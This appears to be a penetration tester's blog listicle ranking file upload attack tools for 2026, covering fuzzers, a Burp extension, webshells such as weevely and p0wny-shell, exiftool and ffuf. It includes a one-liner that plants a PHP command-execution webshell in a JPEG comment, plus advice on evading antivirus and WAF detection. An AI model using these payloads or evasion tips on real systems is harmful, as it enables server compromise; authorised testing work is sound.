The Best File Upload Vulnerability Tools in 2026

A tools listicle is only useful if the author actually uses the tools. This is the short list of file upload vulnerability tools I have spent real engagement hours with in 2026, ranked by how often I reach for each one, with honest notes on where each fits and where each falls short.

If you want the underlying mechanics first, the file upload vulnerabilities deep dive covers the variants, and the extension bypass, MIME bypass, and double extension guides cover the specific tricks. This article is for the choice of which tool to run.

The decision matrix

A quick read of the table: fuxploider is the default for the fuzzing phase. Burp Upload Scanner is the companion when I am already in Burp shaping requests by hand. weevely and exiftool are payload tooling, not upload tooling. ffuf gets me to the upload endpoint. GTFOBins is a reference, not a weapon.

1. fuxploider

Repo: github.com/almandin/fuxploider

The default. If you only learn one upload-vulnerability tool, learn this one.

fuxploider automates the bypass-fuzzing loop: it enumerates which extensions the upload form accepts, varies the Content-Type header against a configurable list, mutates magic bytes, and confirms whether the uploaded file is reachable and executable. The detection phase and the exploitation phase are separated, so you can stop after discovery and hand the rest to a manual workflow.

What I like:

• It is the only maintained tool that handles the full bypass surface (extension blacklist gaps, MIME spoofing, magic-byte prefix, double extensions, null bytes, case-flip) in one config.
• The success criterion is configurable. You can match against a string in the response, a redirect, or a status code, which means it works on apps that hide the uploaded path.
• The Python codebase is short enough to read in one sitting. When the default mutations miss, extending the extension list is a five-line patch.
• Cookie and CSRF token handling is sane. Most engagements need both.

What I do not like:

• The default User-Agent is identifiable. Set --user-agent for any real engagement.
• Maintenance is single-author; releases are spikier than something like ffuf.
• The "exploitation" phase (auto-dropping a shell) is brittle against modern apps with content-disposition rewrites. I usually run it in detection-only mode and drop the payload by hand.
• No built-in support for chunked or multipart-streaming uploads. Modern SPAs increasingly use those.

When to use it. Always start here once you have an upload endpoint. If fuxploider finds a bypass, you are done with the discovery phase. If it does not, switch to manual fuzzing in Burp before assuming the endpoint is hardened.

2. Burp Upload Scanner (modzero)

Repo: github.com/modzero/mod0BurpUploadScanner

Not a standalone scanner; the upload-aware companion that lives inside Burp. The modzero repo has been archived since April 2024 (read-only on GitHub), so what you install today is the last 2024 release, not an actively-developed extension.

Burp Upload Scanner is a BApp Store extension from modzero that adds upload-specific active and passive scan checks on top of Burp's normal Active Scanner. It mutates multipart bodies for the well-known bypass classes (extension, MIME, magic bytes, polyglots, ImageMagick, XXE in SVG, ZIP slip, RCE via metadata) and reports the ones the target accepted. The repo's primary language is Perl (~94%), with a thin Python BApp glue layer (~6%); both ride along inside the Burp extension bundle, so the install path is the usual BApp Store one-click.

What I like:

• The manual workflow is unmatched. Right-click an intercepted upload request, "send to Upload Scanner", review the issues that come back. No leaving Burp.
• It covers polyglot and metadata vectors that fuxploider does not (SVG XXE, ImageMagick ghostscript, ZIP slip).
• Plays well with Burp Collaborator for blind RCE confirmation. fuxploider has no Collaborator equivalent.
• Findings land in the Issues tab with the same severity model as everything else, which makes report-writing trivial.

What I do not like:

• Requires Burp Pro. Community edition will not load BApp Store extensions for active scanning at any useful rate.
• The default check list is long. On a slow target, full-fat scan takes a long time; disable categories you have already ruled out.
• The repo has been archived since April 2024. No upstream fixes are coming; newer polyglot variants and 2025-era Burp API changes are not covered. Useful on older Burp versions, but treat anything missed by the current ruleset as truly missed.

When to use it. Run it as the second pass after fuxploider, especially when the target accepts images and you need to test SVG / polyglot / metadata vectors. It is also my go-to when the upload sits behind a complex auth flow that fuxploider cannot replay cleanly; Burp already has the session, so the extension piggybacks for free.

3. weevely

Repo: github.com/epinna/weevely3

The webshell once the upload lands. Generation, obfuscation, and a client to drive it.

weevely generates an obfuscated PHP webshell, encrypts the request/response channel between the shell and the client, and ships modules for post-exploitation (file upload/download, SQL pivot, network proxy, privilege checks). The generated shell is small (often under 1 KB), single-file PHP, and survives most static-string scanners.

What I like:

• Encrypted channel. The traffic does not look like a webshell to a casual pcap glance, because the payload body is XOR-encrypted with a session key derived from the password.
• The client multiplexes modules: file operations, network pivoting, SQL access, and shell all run over the same single PHP file. No second-stage drop required.
• The polyglot/image variant works. weevely generate password shell.php produces clean PHP, and the metadata trick (combined with exiftool, see below) gets the same payload through image-only filters.
• Stable. The 3.x line has stayed compatible for years.

What I do not like:

• PHP only. For a Node, Python, or Java target you need a different shell entirely.
• Modern WAFs with behavioural analysis (request entropy, repeated POSTs to the same URL) will flag the channel over time. Short-burst usage is fine; persistent C2 will get caught.
• The "stealth" framing oversells. Static-signature AVs catch the unencoded base64-decode pattern that loads the inner payload unless you obfuscate further by hand.

When to use it. When the target runs PHP and you have a confirmed upload path that executes. Generate, upload, drive. If the target is not PHP, use p0wny-shell (single-file PHP, simpler) only as a fast sanity check, or one of the small b374k variants when you need a heavier in-browser file manager. Do not deploy any of these on engagements where the scope does not explicitly cover post-exploitation.

4. exiftool

Site: exiftool.org

Not an attack tool. The plumbing every metadata-injection chain runs through.

exiftool is Phil Harvey's read/write metadata utility. In the upload chain it does one job well: inject a payload string into an EXIF, IPTC, or XMP field of a valid image, so the resulting file passes a "must be an image" filter but carries PHP/JS/SSI code that downstream processing (an ImageMagick convert, a thumbnail generator, a server-side template that echoes EXIF, a misconfigured Apache AddHandler) will execute.

What I like:

• It is the de-facto metadata tool. Every image library agrees on what exiftool wrote.
• One-liner payload injection: exiftool -Comment='<?php system($_GET["c"]);?>' shell.jpg and you have a JPEG with a PHP payload in the comment block. The file still opens in any image viewer.
• Bidirectional. Reading the metadata of a file the target stored back tells you what fields survived its processing pipeline, which informs the next payload.

What I do not like:

• It is not an exploitation tool, despite the obvious dual use. Half of using it well is knowing what cannot work (most JPEG comment payloads do not execute by themselves; you need a server-side bug downstream).
• The Perl install footprint is heavier than the Go and Python tooling around it.

When to use it. Whenever the upload accepts images and you suspect server-side processing reads metadata fields, or whenever the file extension is rewritten but the contents are streamed through a parser that does. Pair it with weevely for the PHP payload body, and Burp Upload Scanner to confirm the path.

5. ffuf

Repo: github.com/ffuf/ffuf

Not a file upload tool. The discovery layer that finds the endpoint before any upload tool can run.

ffuf is a fast HTTP fuzzer written in Go. In the upload context I use it for one thing: finding the upload endpoint. A site that does not expose /upload in the visible UI usually still has /admin/upload, /api/v1/files, /wp-admin/async-upload.php, /legacy/uploader.php, or /cms/avatar. ffuf with a small upload-flavoured wordlist surfaces those in seconds.

What I like:

• Fast. On a target that tolerates parallelism, several thousand requests per second is normal.
• Filter syntax (-fc, -fs, -fw) is precise enough to cut through generic 404 pages.
• Recursive mode is useful once an /uploads/ directory is found; it walks the tree to see what others have already pushed there.

What I do not like:

• Not upload-aware. It will find the endpoint, not test it. Hand off to fuxploider for the bypass phase.
• Loud by default. Modern WAFs will rate-limit or block ffuf within a minute; tune -rate and rotate User-Agent.

When to use it. First, before any upload tool. If you do not know where the upload endpoint is, every other tool in this list has nothing to point at.

Typical command:

ffuf -u https://target.example.com/FUZZ \
  -w wordlists/upload-paths.txt \
  -mc 200,301,302,401,403 \
  -fs 0 \
  -rate 50 \
  -H "User-Agent: Mozilla/5.0"

6. PHP webshell repos (b374k, p0wny-shell)

Repos: b374k/b374k and flozz/p0wny-shell on GitHub.

These are not tools you run; they are the payload bodies you drop once an upload bypass works. p0wny-shell is a single-file PHP shell, around 500 lines, with a clean web UI for executing commands and browsing files. b374k is the heavier classic: file manager, SQL client, brute-forcer, network tools, all in one PHP file (under 100 KB) with an obfuscation script.

What I like:

• Zero install on the attacker side. Upload the file, hit it in the browser.
• Self-contained. No second-stage download, which matters on networks that egress-filter.
• Both are well-known enough that defenders' YARA rules catch them quickly. That sounds like a flaw and is, in the engagement-stealth sense; in the "demonstrate the impact" sense it is fine because the goal is the demo, not persistence.

What I do not like:

• Public signatures. Any AV/EDR worth its name flags both within minutes. If your engagement requires evasion, generate with weevely instead and accept the smaller feature set.
• Maintenance is light. p0wny-shell is fine; b374k forks vary wildly in quality and trust.

When to use them. Quick demos, lab environments, training. For real engagements with active defenders, prefer weevely. Never on out-of-scope targets, and never for persistence past the report.

7. GTFOBins (honourable mention)

Site: gtfobins.github.io

GTFOBins is not an upload tool. It is a curated lookup of Unix binaries and how each one can be abused for shell, file read/write, privilege escalation, network access, when reachable as the wrong user. I include it here because once your webshell lands, the next question is always "what can I run from this user", and GTFOBins answers that faster than any local enumeration script.

Honest framing: it does not help you upload anything, it does not help you bypass anything, and it does not help you confirm anything about the upload endpoint. It is the post-upload reference book. Pair it with the webshell, not with fuxploider.

What I do not recommend

Old "upload exploiter" PHP scripts

For a while there was a small genre of single-file PHP scripts named things like upload-exploiter, up-fuzz, file-upload-bypass floating around GitHub gists and old security blogs. They wrap a subset of what fuxploider already does (extension list, MIME flip, magic bytes) in a worse interface, with no maintenance, no test corpus, and no CSRF handling. fuxploider covers everything they did, openly, with an audit-able codebase.

Skip them. If you find one in an old writeup, the writeup's technique is still useful; the tool is not.

Generic "all-in-one web pentest GUIs" that bundle upload checks

Several commercial scanners advertise file upload testing as one of many features. In practice they cover the easy two or three classes (.php blacklist, basic MIME) and miss the polyglot, metadata, and ZIP-slip categories entirely. If you want upload coverage, run fuxploider plus Burp Upload Scanner. The all-in-ones are a checkbox, not a control.

Tools I dropped from this year's list

• Old "upload exploiter" PHP wrappers. Effectively unmaintained, wrap a strict subset of fuxploider, and several of the popular forks ship with backdoors in the obfuscation script. The whole category is gone from my workflow.
• Stand-alone polyglot generators. A few project-specific polyglot generators (pwn-jpg, poison-jpeg) were useful when fuxploider did not handle GIF/PNG magic bytes well. fuxploider now covers the same surface, and Burp Upload Scanner covers the SVG/polyglot variants better. The standalone tools are now historical.
• Metasploit's multi/http upload modules. Still work; rarely the right tool. Too heavyweight for the discovery phase and too brittle against modern apps to justify the overhead.

Which tool should I use? (Decision tree)

A short flow for the common cases:

• Do you know where the upload endpoint is?
  • No. ffuf first. Find the form, then continue.
  • Yes. Continue.
• Do you want scripted bypass fuzzing across extension, MIME, and magic-byte classes?
  • Yes. fuxploider in detection-only mode. Confirm hits by hand.
• Are you already in Burp shaping the request manually, or does the target accept images and you suspect polyglot / SVG XXE / metadata?
  • Yes. Burp Upload Scanner. Pairs with the existing Burp session and covers the polyglot/metadata surface fuxploider misses.
• Did you confirm a bypass on a PHP target and need a payload?
  • Stealthy / engagement context. weevely. Generate, upload, drive over its encrypted channel.
  • Demo / lab / training. p0wny-shell or b374k. Faster, prettier, signatured.
• Does the target's processing pipeline read EXIF / IPTC / XMP?
  • Yes. exiftool to inject the payload into metadata, then upload the resulting valid image.
• Are you trying to figure out what to run from a freshly landed shell?
  • GTFOBins for the binaries that are present. Local enumeration script for everything else.

A note on the year stamp

I will refresh this list every twelve months. The slug stays stable (best-file-upload-tools-2026 is a redirect target you can rely on; future years update the H1 and title). Tools added, dropped, and re-ranked here will appear in the next refresh with a short changelog at the top.

Where to go next

• File upload vulnerabilities: variants, exploitation, and defence for the underlying mechanics
• File upload extension bypass for the extension-filter tricks
• File upload MIME bypass for Content-Type spoofing
• File upload double extension for the Apache-quirk class
• Web application security vulnerabilities taxonomy for the broader map